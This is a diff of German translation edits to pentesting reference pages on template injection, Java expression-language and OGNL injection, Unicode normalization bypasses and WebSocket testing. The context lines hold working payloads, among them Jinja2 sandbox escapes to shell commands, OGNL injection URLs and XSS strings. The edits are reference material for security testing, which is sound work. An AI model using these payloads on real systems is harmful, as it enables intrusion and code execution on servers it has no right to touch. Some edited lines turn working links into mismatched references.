- [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
|
||||
|
||||
### Expression Language - EL (Java)
|
||||
### Ausdruckssprache - EL (Java)
|
||||
|
||||
- `${"aaaa"}` - "aaaa"
|
||||
- `${99999+1}` - 100000.
|
||||
@ -373,7 +373,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
- `${{7*7}}` - 49
|
||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Expression Language (EL) ist ein grundlegendes Feature, das die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwalteten Beans) in JavaEE erleichtert. Es wird umfassend in mehreren JavaEE-Technologien verwendet, um diese Kommunikation zu optimieren. Die wichtigsten JavaEE-Technologien, die EL nutzen, sind:
|
||||
Die Ausdruckssprache (EL) ist ein grundlegendes Merkmal, das die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Sie wird umfassend in mehreren JavaEE-Technologien verwendet, um diese Kommunikation zu optimieren. Die wichtigsten JavaEE-Technologien, die EL nutzen, sind:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und -Aktionen zu verbinden.
|
||||
- **JavaServer Pages (JSP)**: EL wird in JSP verwendet, um auf Daten innerhalb von JSP-Seiten zuzugreifen und diese zu manipulieren, was es einfacher macht, Seitenelemente mit den Anwendungsdaten zu verbinden.
|
||||
@ -387,7 +387,7 @@ el-expression-language.md
|
||||
|
||||
### Groovy (Java)
|
||||
|
||||
Die folgenden Sicherheitsmanager-Umgehungen stammen aus diesem [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
Die folgenden Sicherheitsmanager-Umgehungen stammen aus diesem [**Bericht**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
@ -479,12 +479,12 @@ array("first_name" => $user.first_name)
|
||||
```
|
||||
**Weitere Informationen**
|
||||
|
||||
- Im Abschnitt Twig und Twig (Sandboxed) von [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- Im Twig und Twig (Sandboxed) Abschnitt von [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||||
|
||||
### Plates (PHP)
|
||||
|
||||
Plates ist eine Templating-Engine, die nativ in PHP entwickelt wurde und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, nutzt Plates nativen PHP-Code in Templates, was es für PHP-Entwickler intuitiv macht.
|
||||
Plates ist eine Templating-Engine, die nativ in PHP ist und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, nutzt Plates nativen PHP-Code in Templates, was es für PHP-Entwickler intuitiv macht.
|
||||
|
||||
Controller:
|
||||
```php
|
||||
@ -614,7 +614,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) nicht-kompilierbare PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen.
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) nicht-kompilierbare PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
@ -670,7 +670,7 @@ URLencoded:
|
||||
### JsRender (NodeJS)
|
||||
|
||||
| **Template** | **Beschreibung** |
|
||||
| ------------ | --------------------------------------- |
|
||||
| ------------ | -------------------------------------- |
|
||||
| | Auswerten und Ausgabe rendern |
|
||||
| | Auswerten und HTML-kodierte Ausgabe rendern |
|
||||
| | Kommentar |
|
||||
@ -744,7 +744,7 @@ range.constructor(
|
||||
- `{{7*7}} = {{7*7}}`
|
||||
- `${7*7} = ${7*7}`
|
||||
- `<%= 7*7 %> = 49`
|
||||
- `<%= foobar %> = Error`
|
||||
- `<%= foobar %> = Fehler`
|
||||
```python
|
||||
<%= system("whoami") %> #Execute code
|
||||
<%= Dir.entries('/') %> #List folder
|
||||
@ -790,7 +790,7 @@ Schau dir die folgende Seite an, um Tricks über **willkürliche Befehlsausführ
|
||||
|
||||
- `{{7*7}} = 49`
|
||||
- `${7*7} = ${7*7}`
|
||||
- `{{foobar}} = Fehler`
|
||||
- `{{foobar}} = Error`
|
||||
- `{{7*'7'}} = 7777777`
|
||||
```python
|
||||
{% raw %}
|
||||
@ -817,7 +817,7 @@ Schau dir die folgende Seite an, um Tricks über **willkürliche Befehlsausführ
|
||||
|
||||
[Offizielle Website](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 ist eine voll funktionsfähige Template-Engine für Python. Es hat volle Unicode-Unterstützung, eine optionale integrierte sandboxed Ausführungsumgebung, ist weit verbreitet und unterliegt der BSD-Lizenz.
|
||||
> Jinja2 ist eine voll funktionsfähige Template-Engine für Python. Es hat volle Unicode-Unterstützung, eine optionale integrierte sandboxed Ausführungsumgebung, wird weit verbreitet verwendet und ist BSD-lizenziert.
|
||||
|
||||
- `{{7*7}} = Fehler`
|
||||
- `${7*7} = ${7*7}`
|
||||
@ -947,19 +947,19 @@ Im Template-Engine von Go kann die Bestätigung seiner Verwendung mit spezifisch
|
||||
|
||||
- `{{ . }}`: Gibt die Datenstruktur-Eingabe preis. Wenn beispielsweise ein Objekt mit einem Attribut `Password` übergeben wird, könnte `{{ .Password }}` es offenbaren.
|
||||
- `{{printf "%s" "ssti" }}`: Sollte den String "ssti" anzeigen.
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Direktiven können in der Go-Dokumentation [hier](https://golang.org/pkg/text/template) erkundet werden.
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Direktiven können in der Go-Dokumentation {#ref}generic-methodologies-and-resources/pentesting-methodology.md{#endref} erkundet werden.
|
||||
|
||||
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||||
|
||||
**XSS Exploitation**
|
||||
|
||||
Mit dem `text/template`-Paket kann XSS einfach sein, indem die Payload direkt eingefügt wird. Im Gegensatz dazu kodiert das `html/template`-Paket die Antwort, um dies zu verhindern (z.B. ergibt `{{"<script>alert(1)</script>"}}` `<script>alert(1)</script>`). Dennoch kann die Definition und der Aufruf von Templates in Go diese Kodierung umgehen: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
Mit dem `text/template`-Paket kann XSS einfach sein, indem die Payload direkt eingefügt wird. Im Gegensatz dazu kodiert das `html/template`-Paket die Antwort, um dies zu verhindern (z. B. ergibt `{{"<script>alert(1)</script>"}}` `<script>alert(1)</script>`). Dennoch kann die Definition und der Aufruf von Templates in Go diese Kodierung umgehen: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
**RCE Exploitation**
|
||||
|
||||
Die RCE-Ausnutzung unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das `text/template`-Modul erlaubt das direkte Aufrufen jeder öffentlichen Funktion (unter Verwendung des „call“-Wertes), was in `html/template` nicht gestattet ist. Die Dokumentation für diese Module ist [hier für html/template](https://golang.org/pkg/html/template/) und [hier für text/template](https://golang.org/pkg/text/template/).
|
||||
Die RCE-Ausnutzung unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das `text/template`-Modul erlaubt das direkte Aufrufen jeder öffentlichen Funktion (unter Verwendung des „call“-Wertes), was im `html/template` nicht erlaubt ist. Die Dokumentation für diese Module ist {#ref}hier für html/template{#endref} und {#ref}hier für text/template{#endref} verfügbar.
|
||||
|
||||
Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn das bereitgestellte Objekt beispielsweise eine `System`-Methode hat, die Befehle ausführt, kann es wie `{{ .System "ls" }}` ausgenutzt werden. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel:
|
||||
```go
|
||||
@ -975,7 +975,7 @@ return string(out)
|
||||
|
||||
### Weitere Exploits
|
||||
|
||||
Überprüfen Sie den Rest von [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) für weitere Exploits. Außerdem finden Sie interessante Tag-Informationen in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
Überprüfen Sie den Rest von [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) für weitere Exploits. Auch interessante Tag-Informationen finden Sie in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
@ -985,8 +985,8 @@ return string(out)
|
||||
|
||||
Wenn Sie denken, dass es nützlich sein könnte, lesen Sie:
|
||||
|
||||
- [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md)
|
||||
- [Python magic functions](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
|
||||
- [Flask Tricks](../../network-services-pentesting/pentesting-web/flask.md)
|
||||
- [Python Magische Funktionen](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
|
||||
|
||||
## Werkzeuge
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Die Ausdruckssprache (EL) ist integraler Bestandteil von JavaEE, um die Präsentationsschicht (z. B. Webseiten) und die Anwendungslogik (z. B. verwaltete Beans) zu verbinden und deren Interaktion zu ermöglichen. Sie wird hauptsächlich in verwendet:
|
||||
Die Ausdruckssprache (EL) ist integraler Bestandteil von JavaEE, um die Präsentationsschicht (z. B. Webseiten) und die Anwendungslogik (z. B. verwaltete Beans) zu verbinden und deren Interaktion zu ermöglichen. Sie wird hauptsächlich in:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Zum Binden von UI-Komponenten an Backend-Daten/Aktionen.
|
||||
- **JavaServer Pages (JSP)**: Für den Datenzugriff und die Manipulation innerhalb von JSP-Seiten.
|
||||
@ -13,7 +13,7 @@ Die Ausdruckssprache (EL) ist integraler Bestandteil von JavaEE, um die Präsent
|
||||
**Verwendungskontexte**:
|
||||
|
||||
- **Spring Framework**: In verschiedenen Modulen wie Sicherheit und Daten angewendet.
|
||||
- **Allgemeine Nutzung**: Über die SpEL-API von Entwicklern in JVM-basierten Sprachen wie Java, Kotlin und Scala.
|
||||
- **Allgemeine Nutzung**: Durch die SpEL-API von Entwicklern in JVM-basierten Sprachen wie Java, Kotlin und Scala.
|
||||
|
||||
EL ist in JavaEE-Technologien, eigenständigen Umgebungen vorhanden und erkennbar durch `.jsp`- oder `.jsf`-Dateiendungen, Stack-Fehler und Begriffe wie "Servlet" in Headern. Die Funktionen und die Verwendung bestimmter Zeichen können jedoch versionsabhängig sein.
|
||||
|
||||
@ -52,7 +52,7 @@ System.out.println(result);
|
||||
}
|
||||
}
|
||||
```
|
||||
Als Nächstes kompilieren Sie den Code (wenn Sie `javac` nicht installiert haben, installieren Sie `sudo apt install default-jdk`):
|
||||
Als nächstes kompilieren Sie den Code (wenn Sie `javac` nicht installiert haben, installieren Sie `sudo apt install default-jdk`):
|
||||
```java
|
||||
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
|
||||
```
|
||||
@ -107,7 +107,7 @@ gk6q${"zkz".toString().replace("k", "x")}doap2
|
||||
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
|
||||
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
|
||||
```
|
||||
- Schlafen Sie 10 Sekunden
|
||||
- Schlaf 10 Sekunden
|
||||
```bash
|
||||
#Blind detection vector (sleep during 10 seconds)
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
|
||||
@ -188,7 +188,7 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
|
||||
- `requestScope` - Anfragevariablen
|
||||
- `initParam` - Anwendungsinitialisierungsvariablen
|
||||
- `sessionScope` - Sitzungsvariablen
|
||||
- `param.X` - Param-Wert, wobei X der Name eines HTTP-Parameters ist
|
||||
- `param.X` - Parametervalue, wobei X der Name eines HTTP-Parameters ist
|
||||
|
||||
Sie müssen diese Variablen in String umwandeln, wie:
|
||||
```bash
|
||||
|
||||
@ -23,7 +23,7 @@ app.run()
|
||||
|
||||
### **Debug-Anweisung**
|
||||
|
||||
Wenn die Debug-Erweiterung aktiviert ist, steht ein `debug`-Tag zur Verfügung, um den aktuellen Kontext sowie die verfügbaren Filter und Tests auszugeben. Dies ist nützlich, um zu sehen, was im Template verfügbar ist, ohne einen Debugger einrichten zu müssen.
|
||||
Wenn die Debug-Erweiterung aktiviert ist, steht ein `debug`-Tag zur Verfügung, um den aktuellen Kontext sowie die verfügbaren Filter und Tests auszugeben. Dies ist nützlich, um zu sehen, was im Template verfügbar ist, ohne einen Debugger einzurichten.
|
||||
```python
|
||||
<pre>
|
||||
|
||||
@ -60,7 +60,7 @@ Wenn die Debug-Erweiterung aktiviert ist, steht ein `debug`-Tag zur Verfügung,
|
||||
```
|
||||
## **Jinja Injection**
|
||||
|
||||
Zunächst müssen Sie bei einer Jinja-Injection **einen Weg finden, um aus dem Sandbox zu entkommen** und den regulären Python-Ausführungsfluss wiederherzustellen. Dazu müssen Sie **Objekte missbrauchen**, die **aus** der **nicht-sandboxierten Umgebung stammen, aber von der Sandbox aus zugänglich sind**.
|
||||
Zuerst müssen Sie bei einer Jinja-Injektion **einen Weg finden, um aus dem Sandbox zu entkommen** und den Zugriff auf den regulären Python-Ausführungsfluss wiederherzustellen. Dazu müssen Sie **Objekte missbrauchen**, die **aus** der **nicht-sandboxierten Umgebung stammen, aber von der Sandbox aus zugänglich sind**.
|
||||
|
||||
### Zugriff auf globale Objekte
|
||||
|
||||
@ -126,9 +126,9 @@ dict.__mro__[-1]
|
||||
```
|
||||
### RCE Escaping
|
||||
|
||||
**Nachdem wir** `<class 'object'>` **wiederhergestellt und** `__subclasses__` **aufgerufen haben, können wir nun diese Klassen verwenden, um Dateien zu lesen und zu schreiben und Code auszuführen.**
|
||||
**Nachdem wir** `<class 'object'>` wiederhergestellt und `__subclasses__` aufgerufen haben, können wir nun diese Klassen verwenden, um Dateien zu lesen und zu schreiben und Code auszuführen.
|
||||
|
||||
Der Aufruf von `__subclasses__` hat uns die Möglichkeit gegeben, **auf Hunderte neuer Funktionen zuzugreifen**, wir werden glücklich sein, einfach auf die **Dateiklasse** zuzugreifen, um **Dateien zu lesen/schreiben** oder auf eine Klasse mit Zugriff auf eine Klasse, die **Befehle ausführen kann** (wie `os`).
|
||||
Der Aufruf von `__subclasses__` hat uns die Möglichkeit gegeben, **Hunderte neuer Funktionen** zu **zugreifen**, wir werden glücklich sein, einfach auf die **Dateiklasse** zuzugreifen, um **Dateien zu lesen/schreiben** oder auf eine Klasse mit Zugriff auf eine Klasse, die **Befehle ausführen kann** (wie `os`).
|
||||
|
||||
**Remote-Datei lesen/schreiben**
|
||||
```python
|
||||
@ -159,7 +159,7 @@ Der Aufruf von `__subclasses__` hat uns die Möglichkeit gegeben, **auf Hunderte
|
||||
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
||||
|
||||
```
|
||||
Um mehr über **weitere Klassen** zu erfahren, die Sie zur **Umgehung** verwenden können, können Sie **überprüfen**:
|
||||
Um mehr über **Klassen** zu erfahren, die Sie zur **Umgehung** verwenden können, können Sie **überprüfen**:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -170,7 +170,7 @@ Um mehr über **weitere Klassen** zu erfahren, die Sie zur **Umgehung** verwende
|
||||
#### Häufige Umgehungen
|
||||
|
||||
Diese Umgehungen ermöglichen es uns, die **Attribute** der Objekte **ohne Verwendung bestimmter Zeichen** zu **zugreifen**.\
|
||||
Wir haben einige dieser Umgehungen bereits in den Beispielen des Vorherigen gesehen, aber lassen Sie uns sie hier zusammenfassen:
|
||||
Wir haben bereits einige dieser Umgehungen in den Beispielen des Vorherigen gesehen, aber lassen Sie uns sie hier zusammenfassen:
|
||||
```bash
|
||||
# Without quotes, _, [, ]
|
||||
## Basic ones
|
||||
|
||||
@ -16,7 +16,7 @@ Wenn nur die **Serververzögerungen** übrig bleiben, wird es einfacher, Timing-
|
||||
|
||||
### Versteckte Angriffsfläche
|
||||
|
||||
Im Blogbeitrag wird kommentiert, wie es mit dieser Technik möglich war, versteckte Parameter und sogar Header zu finden, indem einfach überprüft wurde, dass immer wenn der Parameter oder Header in der Anfrage vorhanden war, es einen **Zeitunterschied von etwa 5 ms** gab. Tatsächlich wurde diese Entdeckungstechnik zu **Param Miner** in Burp Suite hinzugefügt.
|
||||
In dem Blogbeitrag wird kommentiert, wie es mit dieser Technik möglich war, versteckte Parameter und sogar Header zu finden, indem einfach überprüft wurde, dass immer dann, wenn der Parameter oder Header in der Anfrage vorhanden war, ein **Zeitunterschied von etwa 5 ms** bestand. Tatsächlich wurde diese Entdeckungstechnik zu **Param Miner** in Burp Suite hinzugefügt.
|
||||
|
||||
Diese Zeitunterschiede könnten darauf zurückzuführen sein, dass eine **DNS-Anfrage** durchgeführt wurde, einige **Protokolle geschrieben** wurden, weil eine ungültige Eingabe vorlag, oder weil einige **Überprüfungen durchgeführt werden**, wenn ein Parameter in der Anfrage vorhanden ist.
|
||||
|
||||
@ -24,13 +24,13 @@ Etwas, das Sie sich merken sollten, wenn Sie diese Art von Angriffen durchführe
|
||||
|
||||
### Reverse-Proxy-Fehlkonfigurationen
|
||||
|
||||
In derselben Forschung wurde geteilt, dass die Timing-Technik großartig war, um "scoped SSRFs" zu entdecken (die SSRFs sind, die nur auf erlaubte IPs/Domains zugreifen können). Einfach **den Zeitunterschied zu überprüfen, wenn eine erlaubte Domain gesetzt ist** im Vergleich zu einer nicht erlaubten Domain hilft, offene Proxys zu entdecken, selbst wenn die Antwort die gleiche ist.
|
||||
In derselben Forschung wurde geteilt, dass die Timing-Technik großartig war, um "scoped SSRFs" zu entdecken (die SSRFs sind, die nur auf erlaubte IPs/Domains zugreifen können). Einfach **den Zeitunterschied zu überprüfen, wenn eine erlaubte Domain gesetzt ist** im Vergleich zu einer nicht erlaubten Domain hilft, offene Proxys zu entdecken, selbst wenn die Antwort dieselbe ist.
|
||||
|
||||
Sobald ein scoped offener Proxy entdeckt wurde, war es möglich, gültige Ziele zu finden, indem bekannte Subdomains des Ziels geparst wurden, und dies ermöglichte:
|
||||
|
||||
- **Firewalls zu umgehen**, indem auf eingeschränkte Subdomains über den **offenen Proxy** anstelle des Internets zugegriffen wird
|
||||
- Darüber hinaus ist es auch möglich, durch den Missbrauch eines **offenen Proxys** **neue Subdomains zu entdecken, die nur intern zugänglich sind.**
|
||||
- **Front-End-Imitationsangriffe**: Front-End-Server fügen normalerweise Header für das Backend wie `X-Forwarded-For` oder `X-Real-IP` hinzu. Offene Proxys, die diese Header empfangen, fügen sie dem angeforderten Endpunkt hinzu, daher könnte ein Angreifer in der Lage sein, noch mehr interne Domains zuzugreifen, indem er diese Header mit zugelassenen Werten hinzufügt.
|
||||
- **Front-End-Impersonationsangriffe**: Front-End-Server fügen normalerweise Header für das Backend wie `X-Forwarded-For` oder `X-Real-IP` hinzu. Offene Proxys, die diese Header empfangen, fügen sie dem angeforderten Endpunkt hinzu, daher könnte ein Angreifer in der Lage sein, noch mehr interne Domains zuzugreifen, indem er diese Header mit zugelassenen Werten hinzufügt.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
||||
@ -27,7 +27,7 @@ Diese Anfälligkeit stammt tatsächlich von einer Schwachstelle, die ein Forsche
|
||||
|
||||
## Emoji-Injektion
|
||||
|
||||
Backends verhalten sich manchmal seltsam, wenn sie **Emojis empfangen**. Das ist, was in [**diesem Bericht**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) passiert ist, wo der Forscher es geschafft hat, ein XSS mit einer Payload wie: `💋img src=x onerror=alert(document.domain)//💛` zu erreichen.
|
||||
Backends verhalten sich manchmal seltsam, wenn sie **Emojis empfangen**. Das ist, was in [**diesem Bericht**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) passiert ist, wo der Forscher es geschafft hat, ein XSS mit einer Nutzlast wie: `💋img src=x onerror=alert(document.domain)//💛` zu erreichen.
|
||||
|
||||
In diesem Fall war der Fehler, dass der Server nach dem Entfernen der bösartigen Zeichen die **UTF-8-Zeichenkette von Windows-1252 nach UTF-8 konvertierte** (grundsätzlich stimmte die Eingabecodierung und die Umwandlung von der Codierung nicht überein). Dadurch wird kein richtiges < erzeugt, sondern nur ein seltsames Unicode-Zeichen: `‹`\
|
||||
``Also nahmen sie diese Ausgabe und **konvertierten sie erneut von UTF-8 nach ASCII**. Dies **normalisierte** das `‹` zu `<`, so konnte der Exploit auf diesem System funktionieren.\
|
||||
|
||||
@ -33,17 +33,17 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||
|
||||
### Entdeckung
|
||||
|
||||
Wenn Sie in einer Webanwendung einen Wert finden, der zurückgegeben wird, könnten Sie versuchen, **‘KELVIN SIGN’ (U+0212A)** zu senden, das **normalisiert zu "K"** (Sie können es als `%e2%84%aa` senden). **Wenn ein "K" zurückgegeben wird**, dann wird eine Art von **Unicode-Normalisierung** durchgeführt.
|
||||
Wenn Sie in einer Webanwendung einen Wert finden, der zurückgegeben wird, könnten Sie versuchen, **‘KELVIN SIGN’ (U+0212A)** zu senden, das **zu "K" normalisiert** (Sie können es als `%e2%84%aa` senden). **Wenn ein "K" zurückgegeben wird**, dann wird eine Art von **Unicode-Normalisierung** durchgeführt.
|
||||
|
||||
Ein weiteres **Beispiel**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` nach **Unicode** ist `Leonishan`.
|
||||
|
||||
## **Anfällige Beispiele**
|
||||
|
||||
### **SQL-Injection-Filter umgehen**
|
||||
### **SQL Injection-Filter umgehen**
|
||||
|
||||
Stellen Sie sich eine Webseite vor, die das Zeichen `'` verwendet, um SQL-Abfragen mit Benutzereingaben zu erstellen. Diese Webseite löscht als Sicherheitsmaßnahme **alle Vorkommen des Zeichens `’`** aus der Benutzereingabe, aber **nach dieser Löschung** und **vor der Erstellung** der Abfrage **normalisiert** sie die Eingabe des Benutzers mit **Unicode**.
|
||||
Stellen Sie sich eine Webseite vor, die das Zeichen `'` verwendet, um SQL-Abfragen mit Benutzereingaben zu erstellen. Diese Webseite löscht als Sicherheitsmaßnahme alle Vorkommen des Zeichens **`'`** aus der Benutzereingabe, aber **nach dieser Löschung** und **vor der Erstellung** der Abfrage **normalisiert** sie die Eingabe des Benutzers mit **Unicode**.
|
||||
|
||||
Dann könnte ein böswilliger Benutzer ein anderes Unicode-Zeichen, das äquivalent zu `' (0x27)` ist, wie `%ef%bc%87` einfügen. Wenn die Eingabe normalisiert wird, entsteht ein einfaches Anführungszeichen und eine **SQL-Injection-Schwachstelle** tritt auf:
|
||||
Dann könnte ein böswilliger Benutzer ein anderes Unicode-Zeichen, das dem `' (0x27)` entspricht, wie `%ef%bc%87` einfügen. Wenn die Eingabe normalisiert wird, entsteht ein einfaches Anführungszeichen und eine **SQL-Injection-Schwachstelle** tritt auf:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -89,7 +89,7 @@ Beachten Sie, dass das erste vorgeschlagene Unicode-Zeichen beispielsweise als:
|
||||
|
||||
### Fuzzing Regexes
|
||||
|
||||
Wenn das Backend **Benutzereingaben mit einem Regex überprüft**, könnte es möglich sein, dass die **Eingabe** für den **Regex** **normalisiert** wird, aber **nicht** für den Ort, an dem sie **verwendet** wird. Zum Beispiel könnte in einem Open Redirect oder SSRF der Regex die gesendete URL **normalisieren**, aber dann **sie so aufrufen**.
|
||||
Wenn das Backend **Benutzereingaben mit einem Regex überprüft**, könnte es möglich sein, dass die **Eingabe** für den **Regex** **normalisiert** wird, aber **nicht** für den Ort, an dem sie **verwendet** wird. Zum Beispiel könnte der Regex in einem Open Redirect oder SSRF die gesendete **URL** **normalisieren**, aber dann **sie so aufrufen**.
|
||||
|
||||
Das Tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* ermöglicht es, **Variationen der Eingabe** zu generieren, um das Backend zu fuzzern. Für weitere Informationen besuchen Sie das **github** und diesen [**Beitrag**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
|
||||
|
||||
@ -76,7 +76,7 @@ Abhängig von den HTTP-Headern, die vom Webserver bereitgestellt werden, können
|
||||
- [ ] [**Clickjacking**](../clickjacking.md)
|
||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
|
||||
- [ ] [**Cookies Hacking**](../hacking-with-cookies/)
|
||||
- [ ] [**CORS - Fehlkonfigurationen & Bypass**](../cors-bypass.md)
|
||||
- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
|
||||
|
||||
### **Umgehungen**
|
||||
|
||||
@ -114,14 +114,14 @@ Benutzer, die von Benutzern hochgeladene oder automatisch generierte Dateien mit
|
||||
|
||||
### **Externe Identitätsverwaltung**
|
||||
|
||||
- [ ] [**OAUTH zu Accountübernahme**](../oauth-to-account-takeover.md)
|
||||
- [ ] [**SAML-Angriffe**](../saml-attacks/)
|
||||
- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
|
||||
- [ ] [**SAML Attacks**](../saml-attacks/)
|
||||
|
||||
### **Andere hilfreiche Schwachstellen**
|
||||
|
||||
Diese Schwachstellen könnten helfen, andere Schwachstellen auszunutzen.
|
||||
|
||||
- [ ] [**Domain/Subdomain Übernahme**](../domain-subdomain-takeover.md)
|
||||
- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](../idor.md)
|
||||
- [ ] [**Parameter Pollution**](../parameter-pollution.md)
|
||||
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/)
|
||||
|
||||
@ -14,7 +14,7 @@ var ws = new WebSocket("wss://normal-website.com/ws")
|
||||
```
|
||||
Das `wss`-Protokoll bezeichnet eine WebSocket-Verbindung, die mit **TLS** gesichert ist, während `ws` eine **unsichere** Verbindung anzeigt.
|
||||
|
||||
Während der Verbindungsherstellung wird ein Handshake zwischen dem Browser und dem Server über HTTP durchgeführt. Der Handshake-Prozess umfasst, dass der Browser eine Anfrage sendet und der Server antwortet, wie in den folgenden Beispielen dargestellt:
|
||||
Während der Verbindungsherstellung wird ein Handshake zwischen dem Browser und dem Server über HTTP durchgeführt. Der Handshake-Prozess umfasst das Senden einer Anfrage durch den Browser und die Antwort des Servers, wie in den folgenden Beispielen dargestellt:
|
||||
|
||||
Der Browser sendet eine Handshake-Anfrage:
|
||||
```javascript
|
||||
@ -70,9 +70,9 @@ Sie können das **Tool** [**https://github.com/PalindromeLabs/STEWS**](https://g
|
||||
- **Burp Suite** unterstützt MitM-Websockets-Kommunikation auf eine sehr ähnliche Weise, wie es für reguläre HTTP-Kommunikation der Fall ist.
|
||||
- Die [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite-Erweiterung** ermöglicht es Ihnen, Websocket-Kommunikationen in Burp besser zu verwalten, indem Sie die **Historie** abrufen, **Abfangregeln** festlegen, **Match- und Ersetzungsregeln** verwenden, **Intruder** und **AutoRepeater** nutzen.
|
||||
